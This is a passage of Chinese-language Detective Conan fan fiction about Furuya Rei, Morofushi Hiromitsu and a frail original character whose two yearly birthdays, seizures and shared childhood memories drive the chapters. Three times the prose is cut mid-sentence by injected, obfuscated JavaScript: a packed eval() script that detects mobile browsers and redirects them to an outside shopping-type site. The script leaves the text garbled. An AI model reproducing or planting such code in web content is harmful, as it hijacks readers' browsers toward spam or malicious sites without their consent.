他走之前,天还晴着,房间在开窗通风,靠窗的垫子有点半干不湿的水渍,显然曾经有雨点被风吹了进来、当一回不速之客。 “入夏了,天气热起来,一到这种潮湿的天气,榻榻米就有类似发霉的气味。” 为了避免难闻的气味冲撞到两位幼驯染、惹他们讨厌,他红得头顶冒烟地解释了一番。 可他的房间干净整洁,没有他觉得有的味道。说不定洁癖人有超级嗅觉吧,谁知道。 降谷零一眼就扫到了房间里怎么看都不应该属于诸伏景光的东西——事实上他早就看到过无数次,但每一次都觉得扎眼,很难不去注意——一个一米来高的大布娃娃,黄色毛线的头发,蓝色贴片的眼睛,身上穿的花裙子已经洗得褪色了,脚边还有一只布料都糟了的抽象小棉花猫。小棉花猫的扣子眼睛掉下来一颗。 这个大布娃娃是有名字的,叫“內内”,是幼儿语的“姐姐”的意思。 诸伏景光七岁的时候搬到了这里,他出院比望月七宫早,望月七宫的父母为了女儿的病情骤然加重忙得焦头烂额,再怎么怜悯关爱可怜的侄子,也要排在生死未卜的亲生孩子后面。 最忙的时候吃喝和零花钱方面也没短过他。然而他由于失语症说不出话,半夜深陷梦魇,他们一时没有发觉。 诸伏家没有那么多房间,原本孩子都小,卧室父母一间,兄弟一间。望月七宫初来乍到,诸伏夫妇考虑到她一个小孩子远离父母,晚上可能会害怕,腾出来个杂物室当新卧室,让景光陪她住。 五六岁的两个小孩子还不懂事,没什么好避讳的,望月家也不会一直把女儿寄养在这里。 说得直白些,“换到山清水秀风景好的地方疗养”,可以算作死马当活马医。要是还没有效果或者更恶化,他们可能会眼一闭心一横试试玄学路线。 在望月七宫不住院的日子里,诸伏景光和她互为抱抱熊地过了一年多。如今她从昏迷中醒来,第一反应也是找诸伏景光——病床上怎么可能有她的搜索目标? 小孩子小小的脑子想了很久,把长达八年的一生从头到尾想了个遍,等到下次父母来探望她,她赶紧问问她的猫的情况,并决定把“姐姐”送给他,她不在的晚上,“姐姐”会从可怕的梦里保护小景。 那天晚上,小景的眼泪把“姐姐”的贴片眼睛泡得开胶了,哭着睡着的。 柔软的姐姐在梦里变得无限大,把他放在肩膀上,让他捏云朵玩,然后踩扁了可怕的吃人怪物。他自家中生出变故以后,第一次一觉睡到天亮。 后来他学会了缝纫,把用浆糊粘起来的眼睛重新拿针线固定了一回。 小棉花猫是望月七宫的,放在他这里是为了让他帮忙修补。 它的来历很简单:收到“姐姐”、送给望月七宫的回礼,是他做的小猫布偶,非常小,只有半个巴掌大,儿童画级别的极简抽象卡通画风,勉强可以分辨出花色或许是黑白花。娜娜姐描述过的、路过她的窗前的那只小猫就是奶牛猫。 望月妈妈把小棉花猫消毒后带去了医院,望月七宫果然喜欢,还取名为“千岁”。 要不是她身体实在太差,她妈差点揍她一顿。因为她妈就叫“千岁”。 但她妈不敢揍她,连语气凶恶一些都不敢。孩子是上天赐予父母的礼物,她家女儿上天送得不情不愿,随时会收回去,必须要小心再小心地对待才行。 被妈妈强势驳回以后,望月七宫无奈地给小猫布偶改名为“君子”。嗯,这次是她已故的外祖母的名字,她确实不知情。她妈也没再反对。 降谷零第一次进到景光的房间就好奇过,为什么这里有个大布娃娃。 那时他还没见到过望月七宫真人,从诸伏景光写的纸条上,得知“姐姐”和“君子”的故事,脑补的一直是个温柔恬淡、特别“姐姐”的大姐姐,就像艾莲娜医生那样。没想到啊没想到。 现在这个一点都不像“姐姐”、也不怎么像话的妹系姐,即将迎来她的17岁生日。 想到这里,降谷零心中一紧: 这或许也是她的最后一个生日。 小猫头鹰诞生在五月,初夏里不太常见的一个下冰雹的日子。 那她为什么会自称“初雪降生”呢? 她六岁、发小们五岁、她去往长野休养之前的最后一次住院期间,聊作消遣的书籍中,有一本是民俗类。 书里记录了一种很微妙的文化现象,跨文化圈的不同民俗中,常见这样的说法:五月出生的孩子不吉利。 他们对五月倒是有着不同的解释:有些会冠以“恶月毒月”的定性,有些会声称“恶神的祭祀月”,有些会认定“违背宗教禁忌”,有些干脆就是附属国学宗主国,什么原理都不知道,直接ban就完了。 实际上这种民俗产生应该与古代生产力不发达和医疗水平低下有关。 春末夏初是农忙季节,孕晚期和刚生产完的劳动妇女难以在高强度的农业活动中发挥以往的作用,还容易因为温度上升而爆发的感染或虫害死亡。独自承担繁重劳作的丈夫,也可能由于淋雨或过劳生病去世。 他们不懂为什么会这样,看到的就是五月出生的婴儿总是容易夭折、总在害死父母,这不就是讨债来的灾厄吗? 望月七宫读到这些民俗的时候年龄很小,知识水平比那些古代人也没有高到哪里去,她信了。 她和父母感情并不差,只不过她的病情受到剧烈的情绪波动影响很大,双亲一直教她保持心如止水、古井无波的状态。 这种抽象概念以她的岁数理解不了,能理解的部分是她一旦表现出喜怒哀惧就会被制止,所以才会呈现出诸伏景光初次见到她的时候那种奇怪的亲子紧张状态。 让她妨害父母她可不干。 怎么解决呢?把生日挪到不在五月的日子不就行了嘛。她思索片刻,手动改到了冬天,选个她最喜欢的初雪降临之日,并要求她的小伙伴们每年下第一场雪那天再给她过生日,完美。 在长野和诸伏景光熟悉起来之前,她的“同类”小伙伴主要是雪鸮布偶“大福”,仓鸮布偶“苹果”,鸺鹠布偶“纳豆”和雕鸮布偶“长耳朵”。 没有谁会反驳她的任何决定。 更早拥有的市松人偶等“人形”的娃娃,由于不符合她更新过的自我认知,被她像遗忘前尘旧梦一样,收纳在了收藏柜里,大概要等她下次从猫头鹰变回人类,它们才有机会重见天 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17007690|194083||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 日。 至于新的小伙伴,诸伏景光认识她的时候她就已经改完了,五岁小孩没有意识到生日在不固定的日子是一件奇怪的事。他记忆封印中的小伙伴外守有里和山村操以为这是东京习俗,也没有觉得不对劲。 诸伏高明则把这当成了某种很新的过家家,而且弟弟犯傻很有趣,没有戳破过。 还是后来,10岁的降谷零从望月七宫的病历上,意外发现了她的真正诞生日。 面对望月七宫振振有词的解释说明,这个小无神论者翻找了无数资料,就是为了证明“所谓‘不祥’,本质是认知力不足的时代,人们对五月生子死亡高发的现象总结”。 他摊开摆放在望月七宫面前的一大堆文献,和他坚定又诚恳的侃侃而谈,成功说服了望月七宫。 所以她决定以后一年过两次生日,一次五月份的,一次初雪日的,都要吃蛋糕和生日礼物。 降谷零那么机灵的小脑袋瓜都被她的大言不惭说得不会转了。 可是转念一想,娜娜姐11岁了,如果她活不到18岁,那她就只剩下7年时间,还能再过14个生日。 日本男性的平均寿命是80岁,他和Hiro还有70个生日可以过。70-14=56,他们起码比她多收56次礼物。 太可怜了。也不是不能答应她的离谱要求。 诸伏景光没有不同意见,娜娜姐没想到他们(特别是降谷零)居然都不讨价还价就答应了,狐疑地看着他,出于公平起见,询问道: “你们要不要也选个喜欢的日期当生日呀?” 那还是别了吧,人类社会的生活常识稀缺到这种程度的有你一个人就够了。降谷零本来想给她解释解释什么叫做“诞生日”,诞生日又为什么只有一个,但他没忍心。 这家伙,还不会喝奶就开始喝药,睡在医院的床上的夜晚远多于睡在家里,都没办法正常上学,就算是个笨蛋也不是她的错。 于是望月七宫愉快地把他和诸伏景光拉到房间里,给他们一一介绍: “这是大福,这是苹果,这是纳豆,这是长耳朵,这是君子,他们是我的孩子,生日和我是同一天。你们两个当舅舅的,不要忘记他们的礼物。” 降谷零迟疑了一下: “……五月份的吗?” 望月七宫严肃地补充: “还有初雪日!” 有这么愚弄人的吗?太坏了! 降谷零看向诸伏景光,诸伏景光以为好友希望知道还有没有别的,想了想,追问: “我房间里的‘姐姐’呢?” 姑妈说“姐姐”是娜娜姐一个小孩子、独自睡在病床上总是很害怕,科室的护士姐姐们集资送给她的,她珍视得很,没想到会舍得送人。 望月七宫答得铿锵有力斩钉截铁: “‘姐姐’就是我!也要!” 五个外甥,两个娜娜姐,一共七份礼物。她们每年过两次生日,还有七年,那就是7*2*7=98。 哪怕他和Hiro活到一百岁也不会有她收到的礼物多! 10岁的降谷零倒吸一口凉气: “娜娜姐,你知道你的行为可以构成敲诈勒索罪吗?” 望月七宫觉得很好玩,操控着她的玩偶们,掐着嗓子叽叽喳喳地模仿幼儿的声音,乱七八糟地喊着“Zero叽桑我要生日礼物”“我也要我也要”什么的。 降谷零又看向诸伏景光,诸伏景光含笑不语,似乎看热闹看得很开心。见诸伏景光默认了她的要求,望月七宫的手偶表演愈发浮夸。 这对吗? 5. 第 5 章 第5章存储礼物的娜娜姐 为什么他的幼驯染都是坏蛋? 讲道理是行不通的了。降谷零开始挽袖子,威胁地盯着望月七宫,想让她不要再挤兑他了、好尴尬、受不了了。 望月七宫毫无危机感,完全沉浸在了表演的世界,好几种声线来回切换,几个玩偶之间配合着演绎出了越来越复杂的家庭伦理剧,玩得简直不知天地为何物。 眼见降谷零的威胁不奏效、有点下不来台,脸都气红了,诸伏景光暂停看热闹,回去他的房间,抱来了“姐姐”,放在降谷零怀里。 “姐姐”作为一只特大号布娃娃,存在感着实惊人,连望月七宫都注意到了它的存在。她忘了正在进行的手偶表演,好奇地观察总算被她看到了的降谷零。 抱着“姐姐”的降谷零板着脸告诉她: “适可而止哦,不然我就生气了!” 那么大只的娃娃抱在怀里,比他高了大半个头,使他的冷硬气场大打折扣。 望月七宫从小到大没挨过任何人的揍,父母再怎么气急了也顶多不赞同地看着她,吼都不敢吼,唯恐吓到她导致她发病。这种经历上的空白让她没意识到降谷零的言外之意,她眨着眼睛,充满求知欲和探索精神: “生气了,然后呢?” 依然抱着“姐姐”的降谷零额角爆出一个十字,作为一个挨过打的孩子,他脑海里不存在没挨过打的人生,想象不出来居然还有人没有过这样的体验,有点摸不清望月七宫在装不懂还是真不懂,又困惑又咬牙切齿地说: “然后我要打你了!” 望月七宫问出了答案,她不能理解。“我生气了”和“我要打你了”两组短语代表的状态和行为,在她的脑海中挂不上钩,她茫然地上前拉住降谷零的手问他: “为什么呀?” 一手抱着“姐姐”一手牵着望月七宫的降谷零好像一拳打到了棉花上,现在他确定那家伙是真的不知道刚才她提出了很没礼貌的要求,而且她也是真的没有在故意惹他生气。 诸伏景光恰到好处地握住望月七宫的另一只手,在她回头的时候笑道: “这个问题,需要娜娜姐先说说,为什么要这么多礼物呀?” 望月七宫比他们年长一岁,可常年不与同龄人相处、社会化程度比较低造成的常识缺乏,在这样的场景下初见端倪。她笑得很真诚,甚至带上了一点腼腆,面色微红: “现在就要说出来吗?我本来想以后再说的!因为我会比你们到另一个世界早很多很多很多很多,那时就没有办法给你们生日礼物了。所以想要多多地存一些,然后让‘姐姐’和‘大福’它们,轮流来,一年送你们一件,送到一百岁。这样你们就能记得我久一些……不要太快忘记我呀……” 诸伏景光和降谷零都沉默了。他们都有不想太快忘记的人。三个小孩子和一个大布娃娃抱成一团。 过了会儿,率先调整好心情的降谷零挣脱出来,语气很和善,态度也很端正地跟望月七宫科普: “‘诞生日’指的是‘婴儿降生在这个世界的日期’,每个人都只有一次。娜娜姐想要把最喜欢的日子也指定为重要的纪念日,那不是生日。” 望月七宫理解了一会儿,明白了他在说什么,失望地摇他的手: “就是生日嘛~就是生日嘛~” 降谷零性格有点刻板,望月七宫明显不符合“生日”定义的“2号生日”他不能苟同。 诸伏景光打了个圆场: “Zero,就和我叫你‘Zero’,你叫我‘Hiro’一样,是‘别人给予的名字’和‘自己决定的名字’那样的区别吧?既然娜娜姐这么喜欢,是不是我们可以当作,一个是躯壳的诞生日,一个是灵魂的诞生日?” 降谷零考虑了他的意见,被他说服了,点点头,继续同望月七宫讲解人际交往常识: “好吧,你说得对。娜娜姐,我和Hiro愿意为你庆祝两次的生日,但一年两次的七份礼物实在太多了,我们负担不起,只送给你,不送给它们,可以吗?” 这次诸伏景光也站在他这边,他知道望月七宫明白怎么买东西但是没什么金钱概念,进一步解释: “和好朋友‘分享’‘交换’‘索取’‘给予’都是正常的,比如你想要给我们留礼物留到一百岁,会惦记着给我‘姐姐’,给零包扎。可过度的索取是会让朋友感觉困扰的,有可能会失去朋友。什么是‘过度’呢?娜娜姐,给我一万円。” 望月七宫“哦”了一声,跑到她的床头柜前,拉开抽屉打开钱包,抽出来一张一万円的纸钞,回来放在诸伏景光手里,还看了一眼降谷零,似乎如果他也要就也给他一张。 降谷零不解其意。一万円对十岁的小孩子来说可是巨款,就这么说给就给吗? 诸伏景光不为所动,态度还是那么温和,又说: “娜娜姐,再给我一万円。” 望月七宫也给了。如是再三,她干脆把钱包交给了诸伏景光。 诸伏景光把她之前给的三万円也放进去,平静地将钱包放在裤子口袋里,又一次向望月七宫提要求: “娜娜姐,再给我一万円。” 望月七宫两手一摊: “没有了呀。都给你了。” 诸伏景光皱着眉头,显得非常苦恼: “可是我还想要一万円。” 望月七宫也跟着苦恼起来,转头发现了降谷零,语调上扬: “Zero,你有没有一万円给他?” 降谷零明白了诸伏景光的意思,摇头拒绝: “我只有五百円,是要去买文具的钱,不能给你,也不能给他。” 啊,那就没有办法了。望月七宫再看向诸伏景光,摸着砰砰乱跳的胸口,小心翼翼地说: “等妈妈下次回来再给你好吗?” 诸伏景光脸上的苦恼冰消雪融,他拉着降谷零的手,一起放在望月七宫的心口,压在她的手上,轻声说道: “这种感情,叫着‘无能为力’。我提出了娜娜姐做不到的要求,比如索取你给不出的钱、找你要你买不起的礼物,你明明‘做不到’,却因为我在难过,说不出来,感到了无能为力。这就是‘过分’的要 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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果然,她小声嘟囔一句: “可你……不是‘别人’,是我的猫嘛……那边那只野猫也是我的。” 嘶——她怎么可以突然说这种话!谁受得了?谁受得了? 耳朵红得肤色都遮不住的降谷零接手了诸伏景光的纠偏工作,快刀斩乱麻: “总之看好你的备用金,不许给任何人!如果谁找你要钱,拒绝或写借条二选一,同时尽快通知我和Hiro。借条的格式我一会儿教你。……马上就要入冬了,说不定很快下雪,今年的‘初雪日’礼物,你想要什么?” 这种不同寻常的生日习惯,就这样定下来了,持续到今天。 15岁的降谷零趁着外面还有太阳,帮诸伏景光晾晒了席子,诸伏景光去做饭。 降谷零家的大人也总是不在家或应酬到很晚才回来,他不愿意一个人孤灯苦守,更喜欢耗在望月家直到不得不回去的钟点。 饭毕洗碗做作业,聊天看书和锻炼。 庭院里的铃虫窸窣作响,月亮也升到半空,降谷零才跟两位小伙伴依依惜别,约定明日再见。 月色溶溶,照得青石板的小巷纤毫毕现,不知藏在哪里的青蛙呱呱大叫,何其悠闲清爽的初夏之夜。 要是能一直这样就好了。 6. 第 6 章 第6章下次还敢的娜娜姐 好个鬼啊! 一点都不好! 第二天上学,降谷零从诸伏景光那里得知一个噩耗: 望月七宫的耐心不足以支撑她等到正日子再过生日,她非得要昨天就过。 ? 两位发小的party没有邀请他?这合乎国情吗? 诸伏景光对降谷零的悲愤有些意外,他歪头看向降谷零: “可是Zero,你不是对娜娜姐的胡闹颇有微词么……”怎么省了一份礼物反而更不高兴了? 降谷零也反应过来了,他也不知道为什么总之顿时觉得全身的血液都涌到了脸上,面皮发烫发紧发胀,舌根僵住。 浅色的眼珠叽里咕噜转了好几圈,大脑总算疏通开了全都堵在嗓子眼的一万个单词,大声辩白道: “我哪有!再说了她也不是只会胡闹,偶尔干点人事的话还是挺可爱的。……别打岔,不是还有十天吗?怎么提前到昨天了?她是不是故意想趁我不在办完生日聚会、等我再去的时候以我缺席为理由敲竹杠?” 原本打算送她的假面超人腰带丢了,新的礼物他还没想好送什么,准备跟诸伏景光商量商量,没想到就一个晚上不在场,她又搞出了新的状况。 诸伏景光瞥了一眼悲愤程度加深了的好友,坐正,平静地说明情况: “没有就没有,那么大声干什么?——并不是。昨天都要半夜了,你也走了,来不及通知你,只剩我一个人,好说歹说,才把她劝住了。” 以降谷零对望月七宫的了解,这绝不可能是她会满意的结局! 他灰蓝色的眼睛变得像兔美酱一样犀利起来,目视诸伏景光。 诸伏景光静静地微笑,吐出了后半句话: “她决定今天再庆贺。” 果然!就知道!那家伙即使让步也不可能让很多步,她总在想一出是一出,从产生想法到付出行动会非常迅速,可是种下种子后等不到一分钟就想看花开,永远都在急着目睹成果,耐心很差。Hiro肯定有话没说完。 降谷零继续逼视诸伏景光。 诸伏景光叹了口气,交代了望月七宫这次字面意义上“突发恶疾”的全部经过。 平心而论这也不能全怪她,她临时改了主意,是因为昨晚景光预习功课、她坐在一边看《中阴闻教得度》时,想要记笔记给降谷零找点麻烦,却毫无征兆地五内如焚。 这种感知觉过敏的症状,是她的“望月病”发作时常见症状之一,算比较好熬过的那种,身体一般不会出现实质性损伤。 一般人遇到“五脏六腑里有火在烧非常恶心”的情况,往往会下意识的理解为“胃部难受”、张嘴要吐,她则迅速反应过来,双手交叉抱胸,就地躺下。 极短极短的时间内,她强烈的不适感就从内脏深处蔓延到了全身,每一个神经节仿佛都变成了一颗小小的心脏,每一颗小小的心脏都有自己的意志,互相之间攻伐结交,大脑高悬在上、坐困愁城,失去了对身体的控制。 无光无色无声无臭,恐惧化作无形无质的无数小虫,啃噬理智,如临寒窟,如坠深渊,如堕地狱。 她要保持灵魂清醒,在无限大的迷障之中,找到“回去”的路,打开唯一正确的门。 一个大活人在眼皮子底下咣叽倒下了,诸伏景光不可能看不见。他的反应也迅速又熟练,立刻搬着枕头垫在她脑后,随即从柜子里扯了一张白床单出来,把她从头到脚盖住。 要是有第三人看到非得吓死,就连见过这种场景很多次的诸伏景光,都不敢仔细去看那位、一副“安详”姿态的白雪公主还原度极低cosplay者。 他跪坐在望月七宫身前,掐表计时。 以前娜娜姐有次发病,姑妈做完应急措施,跟他交代过注意事项: 家长在家时当然是立刻喊家长。要是不在、也没办法马上联系到,如果她只是倒地昏睡该如何处理,如果她抽搐惊厥该如何处理,如果她七窍流血该如何处理,如果她…… 那时还是个小孩子的诸伏景光尚且处在说不出话的异常状态下,一边听一边掉眼泪,打着手势比比划划地表示对娜娜姐的心疼,和“交给我没问题”的担当,其实让人心疼的程度不比姐姐低。 望月七宫也自幼受到过许多训练,失去意识前会尽量通过不同的姿势表示这次发作的是哪种类型的症状。 “原地睡着”是严重性最轻微的,放着不管也没关系,过不了多久她就能自己醒来。不过可能会伴有感知觉方面的过敏,轻微的触动都会让她非常难受。 诸伏景光牢记医嘱,不敢碰她,偶尔轻轻扫一眼白布下她头部口唇的位置,观察还有没有微微的起伏翕动,有就不用担心,没有的话就要去呼叫救护车了。 机械腕表的秒针慢得像蜗牛,一格一格拨动,哒哒哒哒的声音一下下狠狠敲在他的耳膜和心口,和体内的噪声差点混成难以分辨的一团。 娜娜姐倒下的时候,他必须保持清醒理智。十五岁的少年强迫自己的视线从总是让人担忧的幼驯染身上移开,缓缓滑过目之所及的室内装帧。 望月家的装修与诸伏家很不一样,以和式风格为主。榻榻米的席子材料柔软有韧性,卧室内可移动的家具都很矮,全部做成圆角或包角,为的就是防止望月七宫一个人在家昏迷摔倒时会磕到碰到、雪上加霜。 把她“盖住”的奇怪处理方式,是原理不明、行之有效的经验之谈,她的主治团队拿她的病都发过不知多少论文了,到今天也没能确认生效的机制。 若不是家中血案沦为悬案、凶手至今逍遥法外、每每想到都寝食难安,诸伏景光大概会把第一志愿专业从法学系改到医学系,即使娜娜姐等不及他学有所成。 过了度秒如年的三分钟,望月七宫自己掀开了床单坐起来,苍白瘦削的脸上潮乎乎的出了不少虚汗,发丝也黏在额头,蓝色的猫眼转向房间里除了她第二个会喘气的,也就是沉默地跪坐在她身前紧盯着她的诸伏景光。 也不知道她到底明不明白刚才的她有多吓人,这姐们儿说话间带着轻松的笑意: “恭喜来自猫头鹰星球的望月七宫选手在本场三途河折返游泳比赛又一次取得了胜利!夺衣婆的纸船纸桨划出了火星子也没追上我!” 从她的语气可以听出来,她对这场意外发作的表态是“好玩”。 要是诸伏景光再小几岁,多半会对她这样浮躁轻佻的态度产生一种复杂的恼火愤怒的情绪,实在气不过说不准还会凶她两句。 现在不会了。 ——跟死神擦肩而过之后还能重新回到他身边,还能保持轻松的心态、每天都很高兴地在那里傻乐,乃至于发现他和Zero陷入消沉时反过来通过一些小手段让他们振作,他由衷地觉得,娜娜姐真了不起。 诸伏景光此刻已经像变魔术一样摸出来一方手帕,捧着她的脸给她擦汗。 见这只生命之火摇摇欲坠的小猫头鹰竟然自鸣得意起来,他鼓鼓掌,继续擦拭她的脸、捋顺头发,温和地笑道: “恭喜这位来自猫头鹰星球的望月七宫选手!请问望月七宫选手有什么获奖感言?” 望月七宫握掌成拳,抵在唇畔,冒充话筒,兴奋地说: “不等了,我现在就要过生日!” ……啊?不是还有十天呢吗? 诸伏景光瞪大的眼睛的样子引起了望月七宫的兴趣,她伸出又湿又凉的拇指,按在他的两侧眼尾,向上提拉,把好好的滚圆猫眼抻成了细长的狐狸眼。 视野随着外力拉扯模糊起来,看起来瞬间和兄长诸伏高明相似度增加了百分之二十的诸伏景光轻声威胁道: “再不松手就告诉姑妈,你今天又去雨……” 望月七宫悻悻地放开这个坏人的眼睛,不服气地在他脸上头上一通揉搓,把他柔顺的短 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17007692|194083||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 发揉得乱七八糟。 诸伏景光顶着鸡窝头和红一块白一块的面颊,慢条斯理地询问她: “娜娜姐不想要Zero的礼物了吗?他今天回去了,要是现在就想庆贺的话,我倒是可以去做个简单的小蛋糕,但生日礼物只有一份可以吗?” 望月七宫想了想,她觉得也不是不行,主要是她等不及了——万一今天晚上她就死了呢!没吃到蛋糕好亏啊。 “高明哥教过我一句话,‘双鸟在林不如一鸟在手’,意思是在林子里散步时想吃烧鸟最好的时间就是现在,其次才是坐车回市区以后去烧鸟店,我现在就要过!” 她说着说着还做出了握拳挥手的动作,显得干劲十足。 ……高明哥原话肯定不是这个。绝对是她又自由发挥了。但没关系,不重要。 诸伏景光不动声色地拉下她的手,指着她掌心掐出来的浅浅月牙痕,叹了口气,忧伤地垂下视线。 他的这点小花招对望月七宫很好用,她好奇心特别强烈,每次都会问他为什么、怎么了,而她的注意力一旦转移,后面就是转移再转移,很难自发回到第一个关注的问题。 然而这次他有点失策,低头的动作太快,望月七宫正好在看自己手心昏迷时掐出来的痕迹,没留意到他的表情变化,直接看到了鸦黑的鸡窝头发顶。 诸伏家的兄弟二人都继承了他们母亲的发质,又黑又亮,视觉上非常柔顺,摸起来却硬硬的,如果不留得稍微长一些,就会像刺猬一样支棱起来。 想到这里,望月七宫歪着头弯着身子,几乎与他的脸倒着面对面,欠欠地问他: “要是我睡着以后去找了舅舅舅妈,有什么话帮你捎给他们吗?” 诸伏景光呼吸一窒,难以置信地抬头看她,不敢相信她的出口成刀技能又升级了。待到发现她是认真的、没有开玩笑,心脏都让她给浸到了冰水里,一时也不知道说什么好,干脆直接把她抱在了怀里。 有心跳、有体温、有脉搏,浅浅的呼吸吹在他脸侧,她还活着。似乎也有一声惊呼,他没听清。后知后觉的庆幸包裹住了他。 “娜娜姐,不要再开这种玩笑了,好不好?”他失去的亲人好友够多了,一个也不想再增加,也不想听她再说这么不吉利的话,“答应我好吗?” 望月七宫被他的激烈回应惊到了,她低头反思是不是哪句话说得有点过分,可是不管怎么想,都好像只有实话实说,没有恶作剧,所以大概是Hiro发烧了吧。 伸手摸了摸他的额头和颈后,吓她一跳!比她的手指温度高好多啊! “好好好,答应你答应你。”作为成熟可靠的大姐姐,弟弟撒娇时当然要哄一哄!娜娜姐干这个特别熟练!她满口答应下来,还追加着答应了他的上一个请求,“也不要你现在去做蛋糕了,不在今天过了。” 察觉到诸伏景光不再箍她箍得那么紧,她赶紧去找体温计,拿给一脸莫名其妙、连发烧了都不知道的笨蛋,静候检测结果。 咦,怎么是36.5摄氏度? 她又摸了摸诸伏景光的额头,还摸了摸自己的额头作为对比。也很烫!这不对! 体温计显示的温度是35.8摄氏度,属于正常人偏低、望月七宫的常规范围内数值。 ……哦,没有发烧,是她手指太凉啊,哈哈哈你看这事闹的。 诸伏景光配合着她一惊一乍的折腾,心态渐渐放平——这么活蹦乱跳就说明她没事,不会轻易地去他父母所在的那边的世界。 望月七宫的红条蓝条都远远短于一般人,今晚她消耗了太多精力,困了,也不提生日不生日,打个哈欠,互道晚安,去洗漱睡觉。 睡前闭上眼睛,她又想起来了,跑回正在准备考取目标院校企划的诸伏景光的房间,拉开门,宣布: “今天就算了,明天!明天叫上小野猫一起,我发现了一家宝藏书店,里面有一套书你们一定喜欢!” 7. 第 7 章 第7章赌书泼茶的娜娜姐 小野猫黑着一张脸。 但他的脸本来就黑,不仔细看且足够熟悉他,也看不出来有什么变化。 看得出来的诸伏景光假装没有看出来,一脸严肃地转过身回去坐正,还拿出了英语单词本背单词。 降谷零的小黑脸更黑了。 ——没听说过谁背单词会开心得嘴角压都压不下去,没听说过! 开完晨会又上了两节课,到第二次课间休息,降谷零就隔空原谅了没有完全不带他玩的望月七宫。原谅诸伏景光要更早,十分钟的晨会开到2/3的时候他就消了气。 虽然他嘴上不承认,可他真的挺在意望月七宫17岁的生日的: 不仅仅因为它可能是望月七宫的最后一个生日,还有他身份的改变——他能赚钱了。 未满15周岁还算小孩子,没什么打工机会,送礼物只能靠攒攒零花钱,可支配资金相当有限。好不容易能出手大方一些、给她留下足够深刻的印象了,却发生了“礼物丢失”的意外。 长大了和小时候总不能一样吧?以前送个文具、玩具、小首饰她就很开心,更古早也更小的时候送路边摘的花花草草、河边海边捡的石头贝壳都没关系,今年他想表现出足够的郑重啊…… 诸伏景光听完他的烦恼,指出了他关切则乱的状态下忽视的盲点: “娜娜姐不是特意提了一家‘宝藏书店’么。我猜她已经有了心仪的目标,我们放学后跟过去看就可以了,你觉得呢?” 他说得有道理。问题是: “今天是周一,我们的打工时间会不会和陪那家伙去玩冲突了?” 目前关于未成年人的打工规定,除了年龄限制以外,还有工作时间和工作属性的限制:每日不能超过两三小时,不能安排在工作日的工作时间,不能让未成年从事夜间工作、晚上八点到次日凌晨五点禁止,要求颇多。 长期固定的兼职和周末一次性不过给钱多的兼职如何取舍,又是一道难题。 他们学校下午课程结束的时间在三点半到四点半,部活每周三次,今天没有部活,便利店也没有排班,放学后原计划去商圈做发新开张的蛋糕店的传单的兼职来着。 诸伏景光左右扫了一眼,确认没人在关注他们,轻声抛出一颗炸弹: “不用去了。第一节课的课间我帮忙渡边同学送作业去老师的办公室,老师们正在聊早晨的报纸——那家蛋糕店的老板,凌晨被杀了,场面可惨了。”死于脚踏两条船。 警察到现场时两个杀红眼的凶手都分完了尸体,还在为谁拿到的一半是不是更大、公不公平而激烈争执。 降谷零沉默了几秒。不管怎么说,死人了的消息还是挺有冲击力的。 很快他的关注点就转移了:比起远在天边的凶杀案,还是仍未从父母遇害的惨案的阴影下解脱的好友更让他担心。共同元素“现场惨烈的血案”,会不会勾起他的创伤后应激障碍呢? 诸伏景光看起来还好,大概没有把人渣之死与他家的惨案联系起来。降谷零稍微放下了心,附和起了好友上一个话题: “娜娜姐会带我们去什么书店?不如说她那种一百年才出一次门的人,竟然随随便便就能碰上连我们这种满世界跑的人都没遇到过的隐藏地点,这件事本身才比较惊奇。” 诸伏景光托着下巴摇了摇头,他也不知道: “她一点口风都没露,早上去医院前只说了下午四点来家里找她。你那是什么眼神?哦,是日常的发病后体检,不会很久,顺利的话午饭都可以回家吃,别担心。” 降谷零这次没有嘟嘟囔囔地说些什么“谁担心了”之类狗都不信的辩驳,他在草稿纸上写出来“1”开头的四位数字,和他准备重买的几样礼物候选,推到诸伏景光面前。 这些都是他当前的零花钱余额买不起、以他对望月七宫的了解她会喜欢的东西,具体选哪个太困难了,还是让更熟悉她的Hiro给个建议吧。 诸伏景光假装没看懂他什么意思,眼神写满无辜。 降谷零瞪他一眼,眼珠转动的瞬间就想好了台词,阴阳怪气地掐着嗓子学望月七宫的音色: “哎呀~好难抉择呀~帮帮人家嘛~Fi↗an↗↘ce→~~~” 诸伏景光猝不及防地被揭露了小时候的黑历史。这还是他第一次见到望月七宫时两家父母逗小孩开的玩笑呢,没几个人知道,也没人当真,最多出现的场合就是现在这种“娜娜姐突发奇想地刺激他一下”的捣鬼。Zero都在跟娜娜姐学什么啊! 零不仁休怪景不义。 诸伏景光在自黏便笺纸上,用手捂着写下一行字,撕下来,面色发红气势汹汹地要贴在降谷零的脑门。降谷零左躲右闪间喊了一百声望月七宫搞怪风格的“未婚夫”,最后那张纸条贴在了他的嘴上。 上课铃打响了,诸伏景光立刻坐好,降谷零揭下那张纸,上面写的是一行英文和一个数字: 【Out of Character】 【0.0】 解读这种程度的玩笑简直不费吹灰之力,降谷零读完字条的同时就懂了诸伏景光的意思: 